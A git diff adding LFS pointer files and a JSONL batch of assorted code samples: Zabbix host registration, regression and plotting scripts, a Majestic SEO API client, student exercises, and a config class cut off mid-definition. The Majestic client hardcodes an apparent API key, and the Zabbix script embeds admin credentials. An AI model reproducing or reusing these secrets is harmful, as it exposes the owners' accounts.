diff --git a/.gitattributes b/.gitattributes index 5e22adbbfc631bcb8809225339e55e6305fc2b5b..bc641455d88f6481680383e8aaeeaf789d38741f 100644 --- a/.gitattributes +++ b/.gitattributes @@ -417,3 +417,27 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text 1475.jsonl filter=lfs diff=lfs merge=lfs -text 1447.jsonl filter=lfs diff=lfs merge=lfs -text 146.jsonl filter=lfs diff=lfs merge=lfs -text +1449.jsonl filter=lfs diff=lfs merge=lfs -text +1376.jsonl filter=lfs diff=lfs merge=lfs -text +1473.jsonl filter=lfs diff=lfs merge=lfs -text +148.jsonl filter=lfs diff=lfs merge=lfs -text +1478.jsonl filter=lfs diff=lfs merge=lfs -text +1375.jsonl filter=lfs diff=lfs merge=lfs -text +1465.jsonl filter=lfs diff=lfs merge=lfs -text +1480.jsonl filter=lfs diff=lfs merge=lfs -text +1483.jsonl filter=lfs diff=lfs merge=lfs -text +1482.jsonl filter=lfs diff=lfs merge=lfs -text +1490.jsonl filter=lfs diff=lfs merge=lfs -text +1469.jsonl filter=lfs diff=lfs merge=lfs -text +150.jsonl filter=lfs diff=lfs merge=lfs -text +1498.jsonl filter=lfs diff=lfs merge=lfs -text +1493.jsonl filter=lfs diff=lfs merge=lfs -text +1484.jsonl filter=lfs diff=lfs merge=lfs -text +1499.jsonl filter=lfs diff=lfs merge=lfs -text +1496.jsonl filter=lfs diff=lfs merge=lfs -text +1504.jsonl filter=lfs diff=lfs merge=lfs -text +1512.jsonl filter=lfs diff=lfs merge=lfs -text +1502.jsonl filter=lfs diff=lfs merge=lfs -text +149.jsonl filter=lfs diff=lfs merge=lfs -text +1509.jsonl filter=lfs diff=lfs merge=lfs -text +1507.jsonl filter=lfs diff=lfs merge=lfs -text diff --git a/1375.jsonl b/1375.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..00f1450ffc9d5d8336c5daede314d4375f0ae5c4 --- /dev/null +++ b/1375.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4d002af370bb68d3db1cb616a1ab7cfe1f9216e0d2cf140114e2b9e03dc6a3de +size 533764262 diff --git a/1376.jsonl b/1376.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..fc66e90ec80aa6fe587f7581e438860b16062511 --- /dev/null +++ b/1376.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3ceef2a790eac92adbfcc8ef60d49da88f248aae8aaa96ca212f0cf85f860375 +size 533380560 diff --git a/1449.jsonl b/1449.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..4bf66238552cc537949b9d96c88ea0e1041bc754 --- /dev/null +++ b/1449.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0cf3adf4b5c17d05dde7aa4750c96698b61b8a5277ccb6fb53bdb6c64db5dcea +size 58000971 diff --git a/1465.jsonl b/1465.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..baac5057bccade1cefdead94e61a55f260dda048 --- /dev/null +++ b/1465.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9a32943852074aad343f22ac2d1da0e830e068cbe8c43c36bf5968e99b36e3ae +size 54569361 diff --git a/1469.jsonl b/1469.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..35f84cf3cee66157ba94b3a7ba5d875fa6f19c0f --- /dev/null +++ b/1469.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ae560e9ad22077b6363a95683d377ce303b5477dc12f7976064399b4e2eba991 +size 76556126 diff --git a/1473.jsonl b/1473.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..6113dda9e0f4f5e8984313fc740fa8237cef24b0 --- /dev/null +++ b/1473.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d511ff76a49a201cea938dfc3a590ddaa881b7dbcd0abe66212ac88a30397205 +size 51610943 diff --git a/1478.jsonl b/1478.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..c019ed36a39b686fc3ee3d3018e352b2baf8d098 --- /dev/null +++ b/1478.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:2ac9de39143c6eba8e661e1c9bca9ad4d55643a1462fcbc92a7afaa9af65111e +size 55072028 diff --git a/148.jsonl b/148.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..99e6083ac0901525eeec2d54805e80903a8c4a77 --- /dev/null +++ b/148.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0607ba58eec5f3c42d10d92bb720fd70f299226f8c2853bf1df2be521a250f38 +size 48930735 diff --git a/1480.jsonl b/1480.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..8be62b07f20e302b89764962977bea4d3d1edd0a --- /dev/null +++ b/1480.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ba5803727a5f171788f17f39d8473770a4ca3fc4e3e56f07bb009b986fdf8986 +size 55565535 diff --git a/1482.jsonl b/1482.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..5bd46e922b3ae1abcd9c1e4db583f53176d276c9 --- /dev/null +++ b/1482.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ab17933c3bee6ac065f104aad5b427de5179964e9cfbbc280a58059ca1171e3b +size 56422256 diff --git a/1483.jsonl b/1483.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..7fabcc512810cea2f7c9661e3eff2f17e4bc1808 --- /dev/null +++ b/1483.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:212895338357a5195b22787be00c2bda4a09eb63f61d3081a326d9de1376792f +size 44517606 diff --git a/1484.jsonl b/1484.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..048ef8e7a5585a557dda35e330e138f0cc6fd77c --- /dev/null +++ b/1484.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:95e3a4568ec7e7e9269f5477c906485f04e50e61d0f100cb8b04d5c3d52ad1dc +size 56036780 diff --git a/149.jsonl b/149.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..43d456d7312fa9485e4a38bdce2c9e95b0d5fc43 --- /dev/null +++ b/149.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a260faaf6a4068dc8506bdd88c68fc37845ae221d5f09b434f517d840200baa5 +size 56602804 diff --git a/1490.jsonl b/1490.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..83885e977c1fa32000eb87e60754f49d9995e031 --- /dev/null +++ b/1490.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1aa9a014d630d14836e74d80ef130aef2ad740f1dd2e28d0f17ae5f7feabe7a1 +size 62899129 diff --git a/1493.jsonl b/1493.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..97b76216eca6adc7fb3c88599d87a88539a5aa35 --- /dev/null +++ b/1493.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a0e5d93989b40a7e73a61ae5eae50f9b369d8a777f2cbe098c301768eebaf2d4 +size 41274274 diff --git a/1496.jsonl b/1496.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..87e77d719fadda5a4aaa3a4fa5ca029285b66832 --- /dev/null +++ b/1496.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b6a873500c519708303047b90e0ae42d027721f88bfb35b7965567cfedc6dac0 +size 58818619 diff --git a/1498.jsonl b/1498.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..bbc397d6e9918e709a0f603f97ff06db3279574f --- /dev/null +++ b/1498.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9a75e13dc234b31f55da32778babee478e2bd38b12ad985d8502b508dfeff95d +size 48923013 diff --git a/1499.jsonl b/1499.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..e8e290eecd42d40a1a160d452e704480a811dc7d --- /dev/null +++ b/1499.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0b2e235e56a2c0209bd8dd543629e886527299fa5e3fc4c0674df5231d5f2c15 +size 43467768 diff --git a/150.jsonl b/150.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..1a1af93759ac9a7606d8caceb247cf95b88382ee --- /dev/null +++ b/150.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a328e35062b656299480b105b35f309f35beed2b0747f62e8243b2651aeeb232 +size 13786698 diff --git a/1502.jsonl b/1502.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..eb7bd77419efa46cf75d67336bccf816c8f937db --- /dev/null +++ b/1502.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1fe71fd6bc00bf9ad338cd4de4a1bf4eb18c754aa4684733383b9d87b3e785c4 +size 58534796 diff --git a/1504.jsonl b/1504.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..a69d8078eb61f7ea8c7817f0688eae03cdbe50cc --- /dev/null +++ b/1504.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3c3ed1df0ed7c6a5ac9dc3240331ae9819a956ece96a89bfb24dc1aee95eba69 +size 60733110 diff --git a/1507.jsonl b/1507.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..cbee02dca932f50e5ecd1c14a9c792dc5d0fa13f --- /dev/null +++ b/1507.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b02834f8ad8a6737ece85ffa08ad7f6745ea016d649a379a9baf8f88ec7c68c2 +size 55593817 diff --git a/1509.jsonl b/1509.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..5076e4ff96aafe26f24ecbb44cbcbe3ea378829f --- /dev/null +++ b/1509.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a461a44bfa54bb455b81f91a8e0398f576753746235dbf2c0dd30465bbcb3d59 +size 56344893 diff --git a/1512.jsonl b/1512.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..42dc791137f8c5627c3af13bf667475bbc6c74a2 --- /dev/null +++ b/1512.jsonl @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c82da090cce1e700f3070c7c8530d7c9d11a6ed10ccb6dc915efd5f0c3647c71 +size 17668348 diff --git a/4060.jsonl b/4060.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..fbc475fb0d4925ea41eac8d38b22e7a74850362f --- /dev/null +++ b/4060.jsonl @@ -0,0 +1,476 @@ +{"seq_id":"632188370","text":"#!/usr/bin/python\n\nimport os, requests, json, sys, subprocess\nfrom requests.auth import HTTPBasicAuth\nimport socket\n\nzabbix_server = \"192.168.19.10/zabbix\"\nzabbix_api_admin_name = \"Admin\"\nzabbix_api_admin_password = \"zabbix\"\n\ncustom_group_name = 'CloudHosts'\ncustom_template_name = 'MegaCustomTemplate'\n\ndef post(request):\n headers = {'content-type': 'application/json'}\n return requests.post(\n \"http://\" + zabbix_server + \"/api_jsonrpc.php\",\n data=json.dumps(request),\n headers=headers,\n auth=HTTPBasicAuth(zabbix_api_admin_name, zabbix_api_admin_password)\n )\n\n\nauth_token = post({\n \"jsonrpc\": \"2.0\",\n \"method\": \"user.login\",\n \"params\": {\n \"user\": zabbix_api_admin_name,\n \"password\": zabbix_api_admin_password\n },\n \"auth\": None,\n \"id\": 0}\n).json()[\"result\"]\n\n\ndef host_get():\n return post({\n \"jsonrpc\": \"2.0\",\n \"method\": \"host.get\",\n \"params\": {\n \"output\": [\n \"hostid\",\n \"host\"\n ]\n },\n \"id\": 2,\n \"auth\": auth_token\n }).json()[\"result\"]\nserver_hostname = host_get()[0]['host']\nserver_hostid = host_get()[0]['hostid']\n\ndef template_get():\n return post({\n \"jsonrpc\": \"2.0\",\n \"method\": \"template.get\",\n \"params\": {\n \"output\": \"extend\",\n \"filter\": {\n \"name\": custom_template_name\n }\n },\n \"id\": 3,\n \"auth\": auth_token\n }).json()[\"result\"]\n\n\ndef template_create(groupid):\n return post({\n \"jsonrpc\": \"2.0\",\n \"method\": \"template.create\",\n \"params\": {\n \"host\": custom_template_name,\n \"groups\": {\n \"groupid\": groupid\n }\n },\n \"id\": 6,\n \"auth\": auth_token\n }).json()[\"result\"]\n\n\ndef create_custom_group(custom_group_name):\n return post({\n \"jsonrpc\": \"2.0\",\n \"method\": \"hostgroup.create\",\n \"params\": {\n \"name\": custom_group_name\n },\n \"id\": 5,\n \"auth\": auth_token\n }).json()[\"result\"]\n\ndef get_custom_group():\n return post({\n \"jsonrpc\": \"2.0\",\n \"method\": \"hostgroup.get\",\n \"params\": {\n \"output\": \"extend\",\n \"filter\": {\n \"name\": custom_group_name\n }\n },\n \"id\": 4,\n \"auth\": auth_token\n }).json()[\"result\"]\n\n\ngroupid = 0\ntemplateid = 0\nif len(get_custom_group()) == 0:\n print(\"There isn't the group with name: %s\" % custom_group_name)\n groupid = create_custom_group(custom_group_name)['groupids'][0]\n templateid = template_create(groupid)['templateids'][0]\n print(\"Group \\\"%s\\\" was successfully created, \" % custom_group_name)\n print(\"groupid=%s, templateid=%s\" % (groupid, templateid))\nelse:\n groupid = get_custom_group()[0]['groupid']\n templateid = template_get()[0]['templateid']\n print(\"Group \\\"%s\\\" already exists with groupid=%s, templateid=%s\" % (custom_group_name, groupid, templateid))\n\n\nhostname = socket.gethostname()\nproc = subprocess.Popen(['hostname', '-I'], stdout=subprocess.PIPE)\nipaddress = str(proc.stdout.read()).split()[1]\n\ndef register_host(hostname, ipaddress, groupid, templateid):\n return post({\n \"jsonrpc\": \"2.0\",\n \"method\": \"host.create\",\n \"params\": {\n \"host\": hostname,\n \"templates\": [{\n \"templateid\": templateid\n }],\n \"interfaces\": [{\n \"type\": 1,\n \"main\": 1,\n \"useip\": 1,\n \"ip\": ipaddress,\n \"dns\": \"\",\n \"port\": \"10050\"\n }],\n \"groups\": [\n {\"groupid\": groupid}\n ]\n },\n \"auth\": auth_token,\n \"id\": 1\n })\n\nprint(register_host(hostname, ipaddress, groupid, templateid))\nprint(\"%s was sucessfully registered on zabbix server in %s.\" % (hostname, custom_group_name))","sub_path":"02/scripts/register.py","file_name":"register.py","file_ext":"py","file_size_in_byte":3961,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"170877664","text":"\nimport sklearn\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom sklearn import linear_model\nfrom matplotlib import style\n\ndataset1 = pd.read_csv('Resources/Student_mat.csv')\n\ndata = dataset1[['G1','G2','G3','studytime','failures','absences']]\n\npredict = 'G3'\n\nX = np.array(data.drop([predict],1))\ny = np.array(data[predict])\n\nX_train,X_test,y_train,y_test = sklearn.model_selection.train_test_split(X, y, test_size = 0.1)\n\nlinear = linear_model.LinearRegression()\nlinear.fit(X_train,y_train)\naccuracy = linear.score(X_test,y_test)\n\nprint(accuracy)\nprint(\"Coefficient = \",linear.coef_)\nprint(\"Intercept = \",linear.intercept_)\n\npredictions = linear.predict(X_test)\nfor x in range(len(predictions)):\n print(predictions[x],X_test[x],y_test[x])\n\n\np = 'G1'\nstyle.use(\"ggplot\")\nplt.scatter(data[p], data['G3'])\nplt.xlabel(p)\nplt.ylabel(\"Final Grade\")\nplt.show()\n","sub_path":"Student Marks Prediction/Project1.py","file_name":"Project1.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"549846731","text":"\"\"\"\nPlot the beta distribution.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\ndef Beta(x, alpha, beta):\n pmf = x ** (alpha - 1) * (1 - x) ** (beta - 1)\n norm_const = np.trapz(pmf, x)\n pmf /= norm_const\n return pmf\n\ndef Gaussian(x, mu, sigma):\n pmf = (1 / np.sqrt(2 * math.pi * sigma ** 2)) * np.exp(- (x - mu ) ** 2 / (2 * sigma ** 2))\n return pmf\n\n# The Beta distribution is defined for a range of x between 0 and 1.\n# The smaller the step size in x, the better the normalisation.\n\nx = np.arange(0.0001, 1, 0.0001) # Exclude 0 and 1 from the range of x for alpha, beta < 1, otherwise we get divide by zero errors\n\n#plt.plot(x, Beta(x, 0.5, 1)) # pmf tends to infinity at x = 0, and 0.5 at x = 1\n#plt.plot(x, Beta(x, 0.5, 0.5)) # U-shaped pmf, tending to infinity at x = 0 and x = 1\n\nx = np.arange(0, 1.0001, 0.0001) # Include 0 and 1 in the range of x for values of alpha and beta >= 1 \n\n#plt.plot(x, Beta(x, 1, 1)) # Uniform pmf, equal to 1 for all x\n#plt.plot(x, Beta(x, 2, 1)) # Straight line with positive gradient, from 0 at x = 0 to 2 at x = 1\n#plt.plot(x, Beta(x, 1, 2)) # Straight line with negative gradient, from 2 at x = 0 to 0 at x = 1\n#plt.plot(x, Beta(x, 2, 2)) # Upside-down parabola centred on x = 0.5\n#plt.plot(x, Beta(x, 3, 2)) # Broad, skewed distribution with bump on right\n#plt.plot(x, Beta(x, 3, 3)) # Broad symmetric distribution centred on x = 0.5\nplt.plot(x, Beta(x, 10, 10)) # Symmetric distribution centred on x = 0.5 (medium width)\n#plt.plot(x, Beta(x, 100, 100)) # Narrow symmetric distribution centred on x = 0.5\n#plt.plot(x, Beta(x, 30, 100)) # Almost symmetric distribution centred on x ~ 0.226\n#plt.plot(x, Beta(x, 30, 50)) # Almost symmetric distribution centred on x ~ 0.372\n\nplt.plot(x, Gaussian(x, 0.5, 0.112)) # Gaussian distribution most similar to Beta(10, 10)\n\nprint(np.trapz(Gaussian(x, 0.5, 0.3), x))\n\nplt.show()","sub_path":"chw/beta.py","file_name":"beta.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"70766918","text":"# extract raw image physical size\nrawDir = \"/home/hxie1/data/BES_3K/raw\"\npatientIDPath =\"/home/hxie1/data/BES_3K/GTs/HypertensionStudyID_IncludeIncompleteClinic_20211009.txt\"\noutputPath = \"/home/hxie1/data/BES_3K/GTs/HypertensionStudyID_IncludeIncompleteClinic_20210917_rawPhysicalSizePxPy.txt\"\n\nimport os\nimport glob as glob\n\nwith open(patientIDPath,'r') as patientIDFile:\n IDList = patientIDFile.readlines()\n IDList = [x[0:x.find(\"\\n\")] for x in IDList] # erase \"\\n\"\n\nwith open(outputPath, 'w') as outputFile:\n for ID in IDList:\n volumeDir = os.path.join(rawDir, ID+\"_Volume\")\n infoPathList = glob.glob(volumeDir + f\"/*_Info.txt\")\n if len(infoPathList) != 1:\n print(f\"in {volumeDir}, program found {len(infoPathList)} info files. Program ignore this volume.\")\n continue\n infoPath = infoPathList[0]\n with open(infoPath, 'r') as infoFile:\n lines = infoFile.readlines()\n '''\n A-Scan Width (optical res): 11.872869916260242 um/pixel\n A-Scan Height (oct res): 252.9579997062683 um/pixel\n cSLO Width (optical res): 11.872869916260242 um/pixel\n cSLO Height (optical res): 11.872869916260242 um/pixel\n \n '''\n px = 0\n py = 0\n for line in lines:\n if \"A-Scan Width (optical res):\" in line:\n line = line.replace(\"A-Scan Width (optical res):\", \"\")\n line = line.strip()\n strings = line.split(\" \")\n px = float(strings[0])\n elif \"A-Scan Height (oct res):\" in line:\n line = line.replace(\"A-Scan Height (oct res):\", \"\")\n line = line.strip()\n strings = line.split(\" \")\n py= float(strings[0])\n else:\n continue\n\n if (px ==0) or (py ==0):\n print(f\"{ID} can not find correct physical size in dir: {volumeDir}\")\n else:\n outputFile.write(f\"{ID}\\t{px}\\t{py}\\n\")\n\nprint(f\"============== Output XY physical size in the {outputPath} ===================\")\n","sub_path":"OCT2SysDisease/HypertensionAssociation/extractRawPhysicalSize.py","file_name":"extractRawPhysicalSize.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"58693934","text":"import requests\nfrom majesticseo.items import Item\n\n# -*- coding: utf-8 -*-\n\n\nclass Majestic(object):\n\n \"\"\"\n Core class which create a Majestic object which will trigger requests to the API\n \"\"\"\n def __init__(self, api_key):\n self.api_key = api_key\n self.endpoint = 'https://api.majestic.com/api/json?'\n self.subscription_info = self.get_subscription_info()\n # self.res_units = self.subscription_info['TotalAnalysisResUnits']\n\n def get_subscription_info(self):\n params = {\n 'cmd': 'GetSubscriptionInfo',\n 'app_api_key': self.api_key\n }\n r = requests.get(self.endpoint, params=params)\n return r.json()\n\n def get_info(self, items):\n \"\"\"\n Standard method that takes a list of items (Urls, subdomains or domains) and return\n description data of each item.\n :param items: List of domains/subdomains\n :return: List of Item objects.\n \"\"\"\n params = {\n 'items': len(items),\n 'app_api_key': self.api_key,\n 'cmd': 'GetIndexItemInfo',\n 'datasource': 'fresh'\n }\n for i, item in enumerate(items):\n params['item{}'.format(i)] = item\n r = requests.get(self.endpoint, params=params)\n response_object = InfoResponse(r.json())\n return response_object\n\n def get_backlinks(self, item, max_results=1000, max_per_domain=1, max_per_source=1, remove_deleted=True):\n params = {\n 'app_api_key': self.api_key,\n 'cmd': 'GetBackLinkData',\n 'MaxSourceURLsPerRefDomain': max_per_domain,\n 'MaxSameSourceURLs': max_per_source,\n 'Mode': int(remove_deleted),\n 'Count': max_results,\n 'item': item\n }\n r = requests.get(self.endpoint, params=params)\n return r.json()\n\n\nclass InfoResponse(object):\n\n def __init__(self, response):\n self.json = response\n self.code = response['Code']\n self.error_message = response['ErrorMessage']\n self.index_type = self.parse_index_type()\n self.domains_analysed = response['QueriedRootDomains']\n self.subdomains_analysed = response['QueriedSubDomains']\n self.urls_analysed = response['QueriedURLs']\n self.items = self.parse_response_items()\n\n def parse_index_type(self):\n if self.json.get('IndexType') == 0:\n return 'historic'\n return 'fresh'\n\n def parse_response_items(self):\n items = list()\n for item in self.json['DataTables']['Results']['Data']:\n item = self.create_item(item)\n items.append(item)\n return items\n\n def create_item(self, item):\n item = Item(item)\n return item\n\n\nif __name__ == '__main__':\n majestic = Majestic(api_key='770234E562D7E51D66DCB1138DBB27B3')\n print(majestic.subscription_info)\n","sub_path":"majesticseo/majestic.py","file_name":"majestic.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"440054576","text":"qi = int(input(\"Quantia inicial: \"))\ntempo = int(input(\"Tempo de investimento: \"))\njuros = 4.0\nsaldo = qi # Variavel acumuladora\n# Valor inicial da variável contadora\nt = 0\n# Atualizacao de saldo\nwhile (t <= tempo):\n rend = saldo * juros/100\n saldo = saldo + rend\n t = t + qi\nprint(\"Saldo: R$\", round(saldo, 2)) ","sub_path":"exs-s/1135/1561-1135.py","file_name":"1561-1135.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"637117108","text":"\"\"\"\r\n Автор программы: Алексей Л.\r\n schizm.one@gmail.com\r\n\r\n Данная программа предназначена для вывода суммы цифр факториала какого-\r\n либо введенного пользователем числа.\r\n\"\"\"\r\n\r\nif __name__ == \"__main__\":\r\n # Введем число, для которого вычислим факториал.\r\n inputnumber = int(input(\\\r\n \"Введите число, сумму цифр факториала которого, вы хотите получить: \"))\r\n\r\n # Начинаем вычислять факториал по формуле: n! = n × (n − 1) × ... × 3 × 2 × 1\r\n # т.е. мы запоминаем максимальное число и просто начинаем уменьшать его на\r\n # единицу при каждой итерации цикла.\r\n factorial = inputnumber\r\n for i in range(inputnumber, 0, -1):\r\n factorial *= i\r\n\r\n # Выведем на экран вычисленный факториал.\r\n print(\"Факториал числа %d:\\n%d\" %\\\r\n (inputnumber, factorial) )\r\n\r\n # Теперь, преобразуем вычисленный факториал в строку, чтобы можно было\r\n # пройти по каждому символу в этой строке, т.е. по каждой цифре.\r\n factorialstr = str(factorial)\r\n\r\n # Начинаем проход по всем цифрам в этой строке, суммируя их, перед этим\r\n # преобразовывая в целочисленные значения.\r\n factsumstr = 0\r\n for i in factorialstr:\r\n factsumstr += int(i)\r\n\r\n # Выводим конечный результат на экран.\r\n print(\"Cумма цифр в факториале от числа %d:\\n%d\" %\\\r\n (inputnumber, factsumstr) )","sub_path":"taskfactorial.py","file_name":"taskfactorial.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"195914875","text":"# Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport logging\nfrom typing import Optional, Union\n\nfrom model_navigator import Format, Precision\nfrom model_navigator.config import ModelNavigatorBaseConfig\nfrom model_navigator.config.config_field import ConfigField\nfrom model_navigator.config.config_list_numeric import ConfigListNumeric\nfrom model_navigator.config.config_list_string import ConfigListString\nfrom model_navigator.config.config_primitive import ConfigPrimitive\nfrom model_navigator.tensor import TensorSpec\n\nLOGGER = logging.getLogger(__name__)\n\nTRITON_SUPPORTED_FORMATS = [\n Format.TS_TRACE,\n Format.TS_SCRIPT,\n Format.TF_SAVEDMODEL,\n Format.ONNX,\n Format.TRT,\n]\n\n\ndef parse_tensor_spec(shapes):\n return [TensorSpec.from_command_line(s) for s in shapes]\n\n\ndef parse_precisions(precisions):\n return [p if isinstance(p, Precision) else Precision(p) for p in precisions]\n\n\ndef parse_format(format_: Optional[Union[str, Format]]):\n if format_ is None or isinstance(format_, Format):\n return format_\n return Format(format_)\n\n\ndef parse_value_range(value_ranges):\n results = []\n for value_range in value_ranges:\n name, range_str = value_range.split(\":\")\n min_value, max_value = range_str.split(\",\")\n\n has_dot = \".\" in min_value or \".\" in max_value\n min_value, max_value = float(min_value), float(max_value)\n if min_value.is_integer() and max_value.is_integer() and not has_dot:\n min_value, max_value = int(min_value), int(max_value)\n\n results.append((name, (min_value, max_value)))\n return results\n\n\ndef parse_error_thresholds(thresholds):\n def _parse_entry(entry):\n items = entry.split(\":\")\n name = items[0] if len(items) == 2 else \"\"\n value = float(items[-1])\n return name, value\n\n return [_parse_entry(t) for t in thresholds]\n\n\nclass OptimizerConfig(ModelNavigatorBaseConfig):\n def _fill_config(self):\n # common config fields\n self._add_config(\n ConfigField(\n \"model_name\",\n flags=[\"--model-name\"],\n field_type=ConfigPrimitive(str, required=True),\n description=\"Name of model.\",\n )\n )\n\n self._add_config(\n ConfigField(\n \"model_path\",\n flags=[\"--model-path\"],\n default_value=\"\",\n field_type=ConfigPrimitive(str, required=True),\n description=\"Path to file with model.\",\n )\n )\n self._add_config(\n ConfigField(\n \"config_file\",\n field_type=ConfigPrimitive(str),\n flags=[\"-f\", \"--config-file\"],\n description=\"Path to Model Navigator Config File.\",\n )\n )\n self._add_config(\n ConfigField(\n \"workspace_path\",\n flags=[\"--workspace-path\"],\n default_value=\"workspace\",\n field_type=ConfigPrimitive(str),\n description=\"Path to output directory.\",\n )\n )\n self._add_config(\n ConfigField(\n \"verbose\",\n field_type=ConfigPrimitive(bool),\n parser_args={\"action\": \"store_true\"},\n default_value=False,\n flags=[\"--verbose\"],\n description=\"Enable verbose mode.\",\n )\n )\n\n # optimizer specific fields\n self._add_config(\n ConfigField(\n \"target_format\",\n field_type=ConfigPrimitive(str, output_mapper=parse_format),\n flags=[\"--target-format\"],\n description=\"Target format to generate. If not provided, all supported formats will be generated.\",\n )\n )\n self._add_config(\n ConfigField(\n \"max_workspace_size\",\n field_type=ConfigPrimitive(int),\n flags=[\"--max-workspace-size\"],\n description=\"The amount of workspace the ICudaEngine uses.\",\n )\n )\n self._add_config(\n ConfigField(\n \"target_precisions\",\n field_type=ConfigListString(output_mapper=parse_precisions),\n flags=[\"--target-precisions\"],\n default_value=[\"fp16\", \"tf32\"],\n description=\"Configure TensorRT builder for precision layer selection.\",\n parser_args={\"nargs\": \"+\"},\n )\n )\n self._add_config(\n ConfigField(\n \"onnx_opsets\",\n field_type=ConfigListNumeric(int),\n flags=[\"--onnx-opsets\"],\n default_value=[12, 13],\n description=\"Generate ONNX graph that uses only ops available in given opset.\",\n parser_args={\"nargs\": \"+\"},\n )\n )\n\n self._add_config(\n ConfigField(\n \"min_shapes\",\n field_type=ConfigListString(output_mapper=parse_tensor_spec),\n flags=[\"--min-shapes\"],\n description=\"The minimum shapes the TensorRT optimization profile(s) will support. \"\n \"Format: --min-shapes :D0,D1,..,DN .. :D0,D1,..,DN\",\n parser_args={\"nargs\": \"*\"},\n )\n )\n self._add_config(\n ConfigField(\n \"opt_shapes\",\n field_type=ConfigListString(output_mapper=parse_tensor_spec),\n flags=[\"--opt-shapes\"],\n description=\"The optimal shapes the TensorRT optimization profile(s) will support.\"\n \"Format: --opt-shapes :D0,D1,..,DN .. :D0,D1,..,DN\",\n parser_args={\"nargs\": \"*\"},\n )\n )\n self._add_config(\n ConfigField(\n \"max_shapes\",\n field_type=ConfigListString(output_mapper=parse_tensor_spec),\n flags=[\"--max-shapes\"],\n description=\"The maximum shapes the TensorRT optimization profile(s) will support. \"\n \"Also defines 